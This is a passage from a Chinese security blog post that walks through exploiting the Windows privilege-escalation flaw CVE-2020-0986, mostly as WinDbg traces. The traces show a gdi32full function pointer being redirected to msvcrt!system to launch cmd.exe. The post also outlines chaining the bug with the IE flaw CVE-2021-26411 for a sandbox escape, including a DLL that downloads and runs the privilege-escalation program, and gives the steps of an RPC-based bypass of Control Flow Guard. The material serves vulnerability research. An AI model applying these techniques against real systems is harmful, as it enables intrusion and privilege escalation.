ds=002b es=002b fs=0053 gs=002b efl=00000297gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)0:006> pgdi32full!GdiPrinterThunk+0x1fd4f:00007ffa`c71c56ff 90 nop0:006> dq 00000000`00a20060 l200000000`00a20060 07ffa3f6`68d74000 00000000`00000000
- 将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。
0:006> gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)0:006> rrax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9 r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0r11=000000000267f150 r12=0000000000000000 r13=0000000000000001r14=0000000000000010 r15=0000000000000000iopl=0 nv up ei ng nz ac po cycs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)0:006> dq 00007ffac72e31e800007ffa`c72e31e8 07ffa3f6`68d74000 07ffa3f6`0399400000007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf400000007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d25400000007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d9400000007ffa`c72e3228 00080000`00000000 07ffa3f6`695f400000007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd1400000007ffa`c72e3248 00000000`00000000 00000000`0000000000007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff0:006> pgdi32full!GdiPrinterThunk+0x1fd4f:00007ffa`c71c56ff 90 nop0:006> dq 00007ffac72e31e800007ffa`c72e31e8 07ffa46a`c7c34000 07ffa3f6`0399400000007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf400000007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d25400000007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d9400000007ffa`c72e3228 00080000`00000000 07ffa3f6`695f400000007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd1400000007ffa`c72e3248 00000000`00000000 00000000`0000000000007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff
- 最后再发送一次LPC消息,同时在LPC消息中包含system函数的参数,实现漏洞利用
0:006> gdi32full!GdiPrinterThunk+0x2ac:00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c340000:006> ln 00007ffa`c72e31e8Browse moduleSet bu breakpoint(00007ffa`c72e31e8) gdi32full!fpDocumentEvent | (00007ffa`c72e31f0) gdi32full!fpQuerySpoolModeExact matches:0:006> pgdi32full!GdiPrinterThunk+0x2b3:00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}0:006> pgdi32full!GdiPrinterThunk+0x2ba:00007ffa`c71a5c6a 0f1f440000 nop dword ptr [rax+rax]0:006> ln raxBrowse moduleSet bu breakpoint(00007ffa`c8f87ec0) msvcrt!system | (00007ffa`c8f87fe0) msvcrt!capture_argvExact matches:0:006> gdi32full!GdiPrinterThunk+0x2bf:00007ffa`c71a5c6f 488b4f50 mov rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a208000:006> gdi32full!GdiPrinterThunk+0x2c3:00007ffa`c71a5c73 448b4f3c mov r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020..................................................................................................................0:006> tntdll!LdrpDispatchUserCallTarget:00007ffa`c946c590 4c8b1de9dd0e00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000..................................................................................................................0:006> ntdll!LdrpDispatchUserCallTarget+0x3b:00007ffa`c946c5cb 48ffe0 jmp rax {msvcrt!system (00007ffa`c8f87ec0)}0:006> da rcx00000000`00a20200 "cmd.exe"
至此,我们已经完成的CVE-2020-0986的提权EXP编写。
结合CVE-2021-26411漏洞实现IE沙箱逃逸
参考 @iamelli0t师傅在看雪SDC的演讲,IE漏洞和提权漏洞结合流程如下:
利用IE漏洞实现RCE,执行的shellcode功能为,反射注入一个DLL。
DLL的功能为远程下载并执行提权exe。
如上图所示,CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸,拿到Medium Integrity权限的shell。
题外话
CVE-2021-26411的EXP中使用Windows RPC的方式绕过CFG,这种手法较为新颖,简单使用, @iamelli0t师傅在他的博客中也提到 “有理由相信,它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。
CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下:
利用漏洞构造一个任意地址读写原语
替换虚表函数指针实现 JavaScript代码调用rpcrt4!NdrServerCall2
伪造RPC_MESSAGE
利用JavaScript调用rpcrt4!NdrServerCall2,执行VirtualProtect,修改RPCRT4!__guard_check_icall_fptr的内存属性
替换ntdll!LdrpValidateUserCallTarget指针为KiFastSystemCallRet
将第4步修改的内存属性改回原属性
利用JavaScript调用rpcrt4!NdrServerCall2执行shellcode
本人研究完 CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的,也就是说,在其他漏洞中只要能构造出任意地址读写原语,那一般都可以直接复用此RPC手法实现bypass CFG,一番研究后,本人在CVE-2020-17053上实现了此RPC手法bypass CFG,这里就不再展示。
作者:Muoziiy@天玄安全实验室
更多内容请前往微信公众号:天玄安全实验室
参考链接
[2] https://zhuanlan.kanxue.com/article-14133.htm
[3] https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html
[5] https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/
[6] https://enki.co.kr/blog/2021/02/04/ie_0day.html
[7] https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html
[8] https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html
发表评论
您还未登录,请先登录。
登录